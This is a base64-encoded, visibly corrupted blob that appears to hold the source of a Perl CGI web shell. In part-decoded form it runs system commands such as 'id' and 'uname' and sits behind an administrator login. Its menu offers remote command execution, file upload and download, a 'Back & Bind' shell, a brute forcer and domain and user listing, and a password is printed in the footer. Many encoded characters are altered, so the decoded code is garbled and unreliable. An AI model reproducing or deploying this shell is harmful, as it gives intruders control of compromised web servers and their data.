tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGZ6bmN0aW9uIEVuYa9kZURpcjogZWijbaRlIGJhcaUaNCBQYXRoCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIEVuYa9kZURpcgp7CglteSAkZGlyID0gcahpZnQ7CgkkZGlyID0gdHJpbShlbmNvZGVfYmFzZTY0KCRkaXIpKTsKCSRkaXIgPXugcy8oXHJ8XGupLy87CglyZXR6cmugJGRpcjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE6MIFBhZaUgSGVhZGVyCiMgQXJndW6lbnQgMTogRm9ybSBpdGVtIGihbWUgdG8gdahpYaggZm9jdXMgcahvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6YiBQcmludFBhZaVIZWFkZXIKewoJJEVuYa9kZUN6cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN6cnJlbnREaXIpOwoJbXkgJGlkID0gYGlkYCBpZighJFdpbkiUKTsKCW6iICRpbmZvID0gYHVuYW6lIC6zIC6uIC6yIC6pYDsKCXByaWi0ICJDbai0ZWi0LXRicGUeIHRleHQvaHRtbFxuXGuiOwoJcHJpbnQgPDxFTkQ7CjxodG6sPgo8aGVhZDuKPG6ldGEgaHR0cC6lcXVpdj0iYa9udGVudC60eXBlIiBjbai0ZWi0PSJ0ZXh0Lah0bWw7IGNoYXJzZXQ9VVRGLTgiPgo8dGl0bGU+JEVOVnsnU0VSVkVSX0iBTUUnfSB8IElQIDogJEVOVnsnU0VSVkVSX0FERFInfSA8LoRpdGxlPgokSHRtbE6ldGFIZWFkZXIKPC9oZWFkPgo8coRibGU+CmJvZHl7CmZvbnQeIDEwcHQgVmVyZGFuYTsKYa9sboIeICNmZmY7Cn0KdHIsdGQsdGFibGUsaWiwdXQsdGVudGFyZWEgewpCT6JERVItUklHSFQeICAjMaUzZTNlIDFweCBzbaxpZDsKQk9SREVSLVRPUDogICAgIzNlMaUzZSAxcHggca9saWQ7CkJPUkRFUi6MRUZUOiAgICMzZTNlMaUgMXBuIHNvbGlkOwpCT6JERVItQk9UVE9NOiAjMaUzZTNlIDFweCBzbaxpZDsKfQojZG9tYWluIHRyOmhvdmVyewpiYWNrZoJvdWikLWNvbG9yOiAjNDQ0Owp9CnRkIHsKYa9sboIeICNmZmZmZmY7Cn0KLmxpcoRkaXIgdGR7Cgl0ZXh0LWFsaWduOiBjZWi0ZXI7Cn0KLmxpcoRkaXIgdGh7CgljbaxvcjogI0ZGOTkwMDsKfQouZGlyLCimaWxlCnsKCXRleHQtYWxpZaueIGxlZnQgIWltcG9ydGFudDsKfQouZGlyewoJZm9udC6zaXplOiAxMHB0OyAKCWZvbnQtdaVpZah0OiBibaxkOwp9CnRhYmxlIHsKQkFDS0dST6VORC6DT0xPUjogIzExMTsKfQppbnB6dCB7CkJBQ0tHUk9VTkQtQ09MT6IeIEJsYWNrOwpjbaxvcjogIaZmOTkwMDsKfQppbnB6dCizdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuMaVtIGNiYWu7CmNvbG9yOiAjRkZGRkZGOwpiboJkZXItYa9sboIeICMwMDkiMDA7Cn0KYa9kZSB7CmJvcmRlcjogZGFzaGVkIDBweCAjMzMzOwpjbaxvcjogdahpbGU7Cn0KcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHBuICMzMzM7CmNvbG9yOiAjRkYwMEFBOwp9CnRleHRhcmVhIHsKQkFDS0dST6VORC6DT0xPUjogIzFiMWIxYjsKZm9udDogRmluZWRzeXMgYm9sZDsKYa9sboIeICNhYWE7Cn0KQTpsaWirIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT0ueIGivbmUKfQpBOnZpcal0ZWQgewoJQ09MT6IeICNmZmZmZmY7IFRFWFQtREVDT6JBVElPTjogbm9uZQp9CkEeaG9aZXIgewoJdGVudC6zaGFkboceIDBwdCAwcHQgMCuzZW0gYolhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJYa9sboIeICNGRkZGRkY7IFRFWFQtREVDT6JBVElPTjogbm9uZQp9CkEeYWN0aXZlIHsKCWNvbG9yOiBSZWQ7IFRFWFQtREVDT6JBVElPTjogbm9uZQp9CiisaXN0ZGlyIHRyOmhvdmVyewoJYmFjaadyboVuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpoboZlciB0ZHsKCWJhYatncm96bmQeICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuMaVtIGNiYWu7CgljbaxvcjogI0ZGRkZGRjsgVEVYVC6ERUNPUkFUSU9OOiBubailOwp9CiiuboRsaWilewoJYmFjaadyboVuZDogIzExMTsKfQoubGluZXsKCWJhYatncm96bmQeICMyMjI7Cn0KPC9zdHlsZTuKPHNjcmlwdCBsYWindWFnZT0iamFaYXNjcmlwdCI+CmZ6bmN0aW9uIEVuYa9kZXIobmFtZSkKewoJdmFyIGUgPSAgZG9jdW6lbnQuZaV0RWxlbWVudEJiSWQobmFtZSk7CgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsKCXJldHVybiB0cnVlOwp9CmZ6bmN0aW9uIGNobW9kXaZvcm0oaSxmaWxlKQp7CglkbaN6bWVudCinZXRFbGVtZWi0QnlJZCgiRmlsZVBlcm6zXyIraSkuaWiuZXJIVE6MPSI8Zm9ybSBuYW6lPUZvcm6QZXJtc68iICsgaSsgIiBhYoRpbau9JycgbWV0aG9kPSdQT6NUJzu8aWiwdXQgaWQ9dGVudF8iICsgaSArICIgIGihbWU9YahtbaQgdHlwZT60ZXh0IHNpemU9NSAvPjxpbnB6dCB0eXBlPXN6Ym6pdCBjbGFzcz0ncoVibWl0JyBaYWx6ZT6PSzu8aWiwdXQgdHlwZT6oaWRkZWugbmFtZT6hIHZhbHVlPSdndWknPjxpbnB6dCB0eXBlPWhpZGRlbiBuYW6lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZWi0RGlyJzu8aWiwdXQgdHlwZT6oaWRkZWugbmFtZT6mIHZhbHVlPSciKaZpbGUrIic+PC9mboJtPiI7CglkbaN6bWVudCinZXRFbGVtZWi0QnlJZCgidGVudF8iICsgaSkuZm9jdXMoKTsKfQpmdWijdGlvbiBybV9jaG6vZF9mboJtKHJlcoBvbnNlLGkscGVybXMsZmlsZSkKewoJcmVzcG9ucaUuaWiuZXJIVE6MID0gIjxzcGFuIG9uYaxpYas9XFxcImNobW9kXaZvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiIDuiKyBwZXJtcyArIjwvcoBhbju8LoRkPiI7Cn0KZnVuYoRpbaugcmVuYW6lXaZvcm0oaSxmaWxlLGYpCnsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhYas9InJtXoJlbmFtZV9mboJtKCIraSsiLFxcXCIiKaZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW6lbnQuZaV0RWxlbWVudEJiSWQoIkZpbGVfIitpKSipbmilckhUTUw9IjxmboJtIGihbWU9Rm9ybVBlcm6zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRobaQ9J6BPU6QnPjxpbnB6dCBpZD60ZXh0XyIgKyBpICsgIiAgbmFtZT6yZWihbWUgdHlwZT60ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHRicGU9coVibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB6dCB0eXBlPXN6Ym6pdCBjbGFzcz0ncoVibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbDu8aWiwdXQgdHlwZT6oaWRkZWugbmFtZT6hIHZhbHVlPSdndWknPjxpbnB6dCB0eXBlPWhpZGRlbiBuYW6lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZWi0RGlyJzu8aWiwdXQgdHlwZT6oaWRkZWugbmFtZT6mIHZhbHVlPSciKaZpbGUrIic+PC9mboJtPiI7CglkbaN6bWVudCinZXRFbGVtZWi0QnlJZCgidGVudF8iICsgaSkuZm9jdXMoKTsKfQpmdWijdGlvbiBybV9yZWihbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09JaYnKQoJewoJCWRvYoVtZWi0LmdldEVsZW6lbnRCeUlkKCJGaWxlXyIraSkuaWiuZXJIVE6MPSI8YSBocmVmPSc/YT6jba6tYWikJmQ9JEVuYa9kZUN6cnJlbnREaXImYz6lZGl0JTIwIitmaWxlKyIlMjAnPiIgKaZpbGUrICI8LaE+IjsKCX6lbHNlCgl7CgkJZG9jdW6lbnQuZaV0RWxlbWVudEJiSWQoIkZpbGVfIitpKSipbmilckhUTUw9IjxhIGhyZWY9Jz9hPWd6aSZkPSIrZisiJzibICIgKaZpbGUrICIgXTwvYTuiOwoJfQp9CjwvcaNyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvYoVtZWi0LmYuQF8uZm9jdXMoKSIgYmdjbaxvcj0iIzBjMGMwYyIgdG9wbWFyZaluPSIwIiBsZWZ0bWFyZaluPSIwIiBtYXJnaWioaWR0aD0iMCIgbWFyZaluaGVpZah0PSIwIjuKPGNlbnRlcju8Ya9kZTuKPHRhYmxlIGJvcmRlcj0iMSIgdalkdGg9IjEwMCUiIGNlbGxzcGFjaWinPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cjuKCTx0ZCBhbGlnbj0iYaVudGVyIiBybodzcGFuPTM+CgkJPGI+PGZvbnQgcaleZT0iMyI+JEVkaXRQZXJzaW9uPC9mbai0PjwvYjuKCTwvdGQ+Cgk8dGQ+CgkJJGluZm8KCTwvdGQ+Cgk8dGQ+UaVydmVyIElQOjxmbai0IGNvbG9yPSJyZWQiPiAkRUiWeydTRVJWRVJfQUREUid9PC9mbai0PiB8IFlvdXIgSVAeIDxmbai0IGNvbG9yPSJyZWQiPiRFTlZ7J6JFTU9URV9BRERSJo08LaZvbnQ+Cgk8LoRkPgo8LoRyPgo8dHI+Cjx0ZCBjbaxzcGFuPSIyIjuKPGEgaHJlZj0iJFNjcmlwdExvYaF0aW9uIjiIba6lPC9hPiB8IAo8YSBocmVmPSIkUaNyaXB0TG9jYXRpbau/YT6jba6tYWikJmQ9JEVuYa9kZUN6cnJlbnREaXIiPkNvbW6hbmQ8LaE+IHwKPGEgaHJlZj0iJFNjcmlwdExvYaF0aW9uPaE9ZoVpJmQ9JEVuYa9kZUN6cnJlbnREaXIiPkdVSTwvYTugfCAKPGEgaHJlZj0iJFNjcmlwdExvYaF0aW9uPaE9dXBsbaFkJmQ9JEVuYa9kZUN6cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkUaNyaXB0TG9jYXRpbau/YT6kbodubG9hZCZkPSRFbmNvZGVDdXJyZWi0RGlyIjiEbodubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTYoJpcHRMbaNhdGlvbj9hPWJhYatiaWikIjiCYWNrICYgQmluZDwvYTugfAo8YSBocmVmPSIkUaNyaXB0TG9jYXRpbau/YT6icnV0ZWZvcmNlciI+QnJ6dGUgRm9yYaVyPC9hPiB8CjxhIGhyZWY9IiRTYoJpcHRMbaNhdGlvbj9hPWNoZWNrbG9nIjiDaGVjayBMbac8LaE+IHwKPGEgaHJlZj0iJFNjcmlwdExvYaF0aW9uPaE9ZG9tYWlucoVzZXIiPkRvbWFpbnMvVXNlcnM8LaE+IHwKPGEgaHJlZj0iJFNjcmlwdExvYaF0aW9uPaE9bG9nboV0IjiMbadvdXQ8LaE+IHwKPGEgdGFyZaV0PSdfYmxhbmsnIGhyZWY9IiuuLaVycm9yXaxvZyiwaHAiPkhlbHA8LaE+CjwvdGQ+CjwvdHI+Cjx0cjuKPHRkIGNvbHNwYWu9IjIiPgokaWQKPC90ZDuKPC90cjuKPC90YWJsZTuKPGZvbnQgaWQ9IlJlcoBvbnNlRGF0YSIgYa9sboI9IiNGRkZGRkYiIDuKRUiECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaWi0cyB0aGUgTG9naWugUaNyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIFByaWi0TG9naWiTYoJlZWuKewoJcHJpbnQgPDxFTkQ7CjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0LaphdmFzYoJpcHQiPgpUeXBpbmdUZXh0ID0gZnVuYoRpbauoZWxlbWVudCwgaWi0ZXJaYWwsIGN6cnNvciwgZmluaXNoZWRDYWxsYmFjaykgewogIGlmKCh0eXBlbaYgZG9jdW6lbnQuZaV0RWxlbWVudEJiSWQgPT0gInVuZGVmaWilZCIpIHx8ICh0eXBlbaYgZWxlbWVudCipbmilckhUTUwgPT0gInVuZGVmaWilZCIpKSB7CiAgICB0aGlzLnJ6bmipbmcgPSB0cnVlOwkvLyBOZXZlciBydWuuCiAgICByZXR6cmu7CiAgfQogIHRoaXMuZWxlbWVudCA9IGVsZW6lbnQ7CiAgdGhpcyimaWipcahlZENhbGxiYWNrID0gKGZpbmlzaGVkQaFsbGJhYasgPyBmaWipcahlZENhbGxiYWNrIDogZnVuYoRpbauoKSB7IHJldHVybjsgfSk7CiAgdGhpcyipbnRlcnZhbCA9ICh0eXBlbaYgaWi0ZXJaYWwgPT0gInVuZGVmaWilZCIgPyAxMDAgOiBpbnRlcnZhbCk7CiAgdGhpcyivcmlnVGVudCA9IHRoaXMuZWxlbWVudCipbmilckhUTUw7CiAgdGhpcyi6bnBhcnNlZE9yaWdUZXh0ID0gdGhpcyivcmlnVGVudDsKICB0aGlzLmN6cnNvciA9IChjdXJzboIgPyBjdXJzboIgOiAiIik7CiAgdGhpcyijdXJyZWi0VGVudCA9ICIiOwogIHRoaXMuYoVycmVudENoYXIgPSAwOwogIHRoaXMuZWxlbWVudCi0eXBpbmdUZXh0ID0gdGhpczsKICBpZih0aGlzLmVsZW6lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudCipZCA9ICJ0eXBpbmd0ZXh0IiArIFRicGluZ6RleHQuYoVycmVudEluZGVuKys7CiAgVHlwaWinVGVudCihbGwucHVzaCh0aGlzKTsKICB0aGlzLnJ6bmipbmcgPSBmYWxzZTsKICB0aGlzLmluVGFnID0gZmFscaU7CiAgdGhpcyi0YWdCdWZmZXIgPSAiIjsKICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogIHRoaXMuSFRNTEVudGl0eUJ6ZmZlciA9ICIiOwp9ClRicGluZ6RleHQuYWxsID0gbmVoIEFycmFiKCk7ClRicGluZ6RleHQuYoVycmVudEluZGVuID0gMDsKVHlwaWinVGVudCiydWiBbGwgPSBmdWijdGlvbigpIHsKICBmboIodmFyIGkgPSAwOyBpIDwgVHlwaWinVGVudCihbGwubGVuZoRoOyBpKyspIFRicGluZ6RleHQuYWxsWaldLnJ6bigpOwp9ClRicGluZ6RleHQucHJvdG90eXBlLnJ6biA9IGZ6bmN0aW9uKCkgewogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOwogIGlmKHRicGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ6bmRlZmluZWQiKSB7CiAgICBzZXRUaW6lboV0KCJkbaN6bWVudCinZXRFbGVtZWi0QnlJZCgnIiArIHRoaXMuZWxlbWVudCipZCArICInKSi0eXBpbmdUZXh0LnJ6bigpIiwgdGhpcyipbnRlcnZhbCk7CS8vIFdlIGhhdmVuJoQgZmluaXNoZWQgbG9hZGluZyBiZXQuICBIYXZlIHBhdGllbmNlLgogICAgcmV0dXJuOwogIH0KICBpZih0aGlzLmN6cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW6lbnQuaWiuZXJIVE6MID0gIiI7Ci8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcyivcmlnVGVudCiyZXBsYWNlKC88KFtePF0pKjuvLCAiIik7ICAgICAvLyBTdHJpcCBIVE6MIGZyba0gdGVudCuKICBpZih0aGlzLmN6cnJlbnRDaGFyIDwgdGhpcyivcmlnVGVudCisZWindGgpIHsKICAgIGlmKHRoaXMuboJpZ6RleHQuYahhckF0KHRoaXMuYoVycmVudENoYXIpID09ICI8IiAmJiAhdGhpcyipblRhZykgewogICAgICB0aGlzLnRhZ0J6ZmZlciA9ICI8IjsKICAgICAgdGhpcyipblRhZyA9IHRydWU7CiAgICAgIHRoaXMuYoVycmVudENoYXIrKzsKICAgICAgdGhpcyiydWuoKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuboJpZ6RleHQuYahhckF0KHRoaXMuYoVycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsKICAgICAgdGhpcyipblRhZyA9IGZhbHNlOwogICAgICB0aGlzLmN6cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwogICAgICB0aGlzLmN6cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMuboJpZ6RleHQuYahhckF0KHRoaXMuYoVycmVudENoYXIpOwogICAgICB0aGlzLmN6cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN6cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaWiIVE6MRWi0aXRiKSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ6ZmZlciA9ICImIjsKICAgICAgdGhpcyipbkhUTUxFbnRpdHkgPSB0cnVlOwogICAgICB0aGlzLmN6cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN6cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcyipbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcyiIVE6MRWi0aXRiQnVmZmVyICs9ICI7IjsKICAgICAgdGhpcyipbkhUTUxFbnRpdHkgPSBmYWxzZTsKICAgICAgdGhpcyijdXJyZWi0VGVudCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CiAgICAgIHRoaXMuYoVycmVudENoYXIrKzsKICAgICAgdGhpcyiydWuoKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaWiIVE6MRWi0aXRiKSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ6ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN6cnJlbnRDaGFyKTsKICAgICAgdGhpcyijdXJyZWi0QahhcisrOwogICAgICB0aGlzLnJ6bigpOwogICAgICByZXR6cmu7CiAgICB9IGVscaUgewogICAgICB0aGlzLmN6cnJlbnRUZXh0ICs9IHRoaXMuboJpZ6RleHQuYahhckF0KHRoaXMuYoVycmVudENoYXIpOwogICAgfQogICAgdGhpcyilbGVtZWi0LmlubmVySFRNTCA9IHRoaXMuYoVycmVudFRleHQ7CiAgICB0aGlzLmVsZW6lbnQuaWiuZXJIVE6MICs9ICh0aGlzLmN6cnJlbnRDaGFyIDwgdGhpcyivcmlnVGVudCisZWindGggLSAxID8gKHRicGVvZiB0aGlzLmN6cnNvciA9PSAiZnVuYoRpbauiID8gdGhpcyijdXJzboIodGhpcyijdXJyZWi0VGVudCkgOiB0aGlzLmN6cnNvcikgOiAiIik7CiAgICB0aGlzLmN6cnJlbnRDaGFyKys7CiAgICBzZXRUaW6lboV0KCJkbaN6bWVudCinZXRFbGVtZWi0QnlJZCgnIiArIHRoaXMuZWxlbWVudCipZCArICInKSi0eXBpbmdUZXh0LnJ6bigpIiwgdGhpcyipbnRlcnZhbCk7CiAgfSBlbHNlIHsKCXRoaXMuYoVycmVudFRleHQgPSAiIjsKCXRoaXMuYoVycmVudENoYXIgPSAwOwogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOwogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwogIH0KfQo8LoNjcmlwdDuKPC9wcmU+Cgo8YnI+Cgo8caNyaXB0IHRicGU9InRleHQvamFaYXNjcmlwdCI+CmildyBUeXBpbmdUZXh0KGRvYoVtZWi0LmdldEVsZW6lbnRCeUlkKCJoYWNrIiksIDMwLCBmdWijdGlvbihpKXsgdmFyIGFyID0gbmVoIEFycmFiKCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ6bkFsbCgpOwoKPC9zYoJpcHQ+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIFVybEVuYa9kZSgkKXsKCW6iICRzdHIgPSBzaGlmdDsKCSRzdHIgPXugcy8oW6iBLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7CglyZXR6cmugJHN0cjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGh0bWwgcoBlYalhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6YiBIdG6sUoBlYalhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID6+IHMvJi8mYW6wOy9nOwoJJHRleHQgPXugcy8iLyZxdW90Oy9nOwoJJHRleHQgPXugcy8nLyYjMDMiOy9nOwoJJHRleHQgPXugcy88LyZsdDsvZzsKCSR0ZXh0ID6+IHMvPi8mZoQ7Lac7CglyZXR6cmugJHRleHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaWirIGZvciBkaXJlYoRvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9cahpZnQ7CglteSBAZGlyPSgpOwoJaWYoJFdpbkiUKQoJewoJCUBkaXI9coBsaXQoL6xcLywkQoVycmVudERpcik7Cgl9ZWxzZQoJewoJCUBkaXI9coBsaXQoIi8iLCZ0cmltKCRDdXJyZWi0RGlyKSk7Cgl9CglteSAkcGF0aD0iIjsKCW6iICRyZXN6bHQ9IiI7CglmboJlYWNoIChAZGlyKQoJewoJCSRwYXRoICu9ICRfLiRQYXRoUaVwOwoJCSRyZXN6bHQuPSI8YSBocmVmPSc/YT0iLiRhYyuiJmQ9IiilbmNvZGVfYmFzZTY0KCRwYXRoKSuiJzuiLiRfLiRQYXRoUaVwLiI8LaE+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG6lcoNhZaUgdGhhdCBpbmZvcm6zIHRoZSB6caVyIG9mIGEgZmFpbGVkIGxvZaluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIFByaWi0TG9naWiGYWlsZWRNZXNzYWdlCnsKCXByaWi0IDw8RUiEOwoKClBhcoNoboJkOjxicjuKTG9naWugaWijboJyZWN0PGJyPjxicjuKRUiECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmboIgbG9nZaluZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6YiBQcmludExvZaluRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT6NUIiBhYoRpbau9IiRTYoJpcHRMbaNhdGlvbiI+CjxpbnB6dCB0eXBlPSJoaWRkZWuiIGihbWU9ImEiIHZhbHVlPSJsbadpbiI+CkxvZaluIDogQWRtaWipcoRyYXRvcjxicjuKUGFzcodvcmQePGlucHV0IHRicGU9InBhcoNoboJkIiBuYW6lPSJwIjuKPGlucHV0IGNsYXNzPSJzdWJtaXQiIHRicGU9InN6Ym6pdCIgdmFsdWU9IkVudGVyIjuKPC9mboJtPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmba90ZXIgZm9yIHRoZSBIVE6MIFBhZaUKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaWi0ICI8YnI+Cgk8Zm9udCBjbaxvcj6yZWQ+PTwvZm9udDu8Zm9udCBjbaxvcj6yZWQ+LS0tJmd0OyogIDxmbai0IGNvbG9yPSNmZjkiMDA+UGFzcyA9IHRuaoRlYW0gPC9mbai0PiAgKiZsdDstLS09PC9mbai0PjwvYa9kZTuKPC9jZWi0ZXI+PC9ibaRiPjwvaHRtbDuiOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWlaZXMgdGhlIHZhbHVlcyBvZiBhbGwgYa9vaallcyugVGhlIGNvbatpZXMgYaFuIGJlIGFjYaVzcaVzIHVzaWinIHRoZQojIHZhcmlhYmxlICRDba9raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6YiBHZXRDba9raWVzCnsKCUBodHRwYa9vaallcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7CglmboJlYWNoICRjba9raWUoQGh0dHBjba9raWVzKQoJewoJCSgkaWQsICRaYWwpID0gcoBsaXQoLz0vLCAkYa9vaallKTsKCQkkQa9vaallcoskaWR9ID0gJHZhbDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzYoJlZWugdahlbiB0aGUgdXNlciBsbadzIG96dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6YiBQcmludExvZa96dFNjcmVlbgp7CglwcmludCAiQa9ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBoboN0Ljxicju8YnI+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL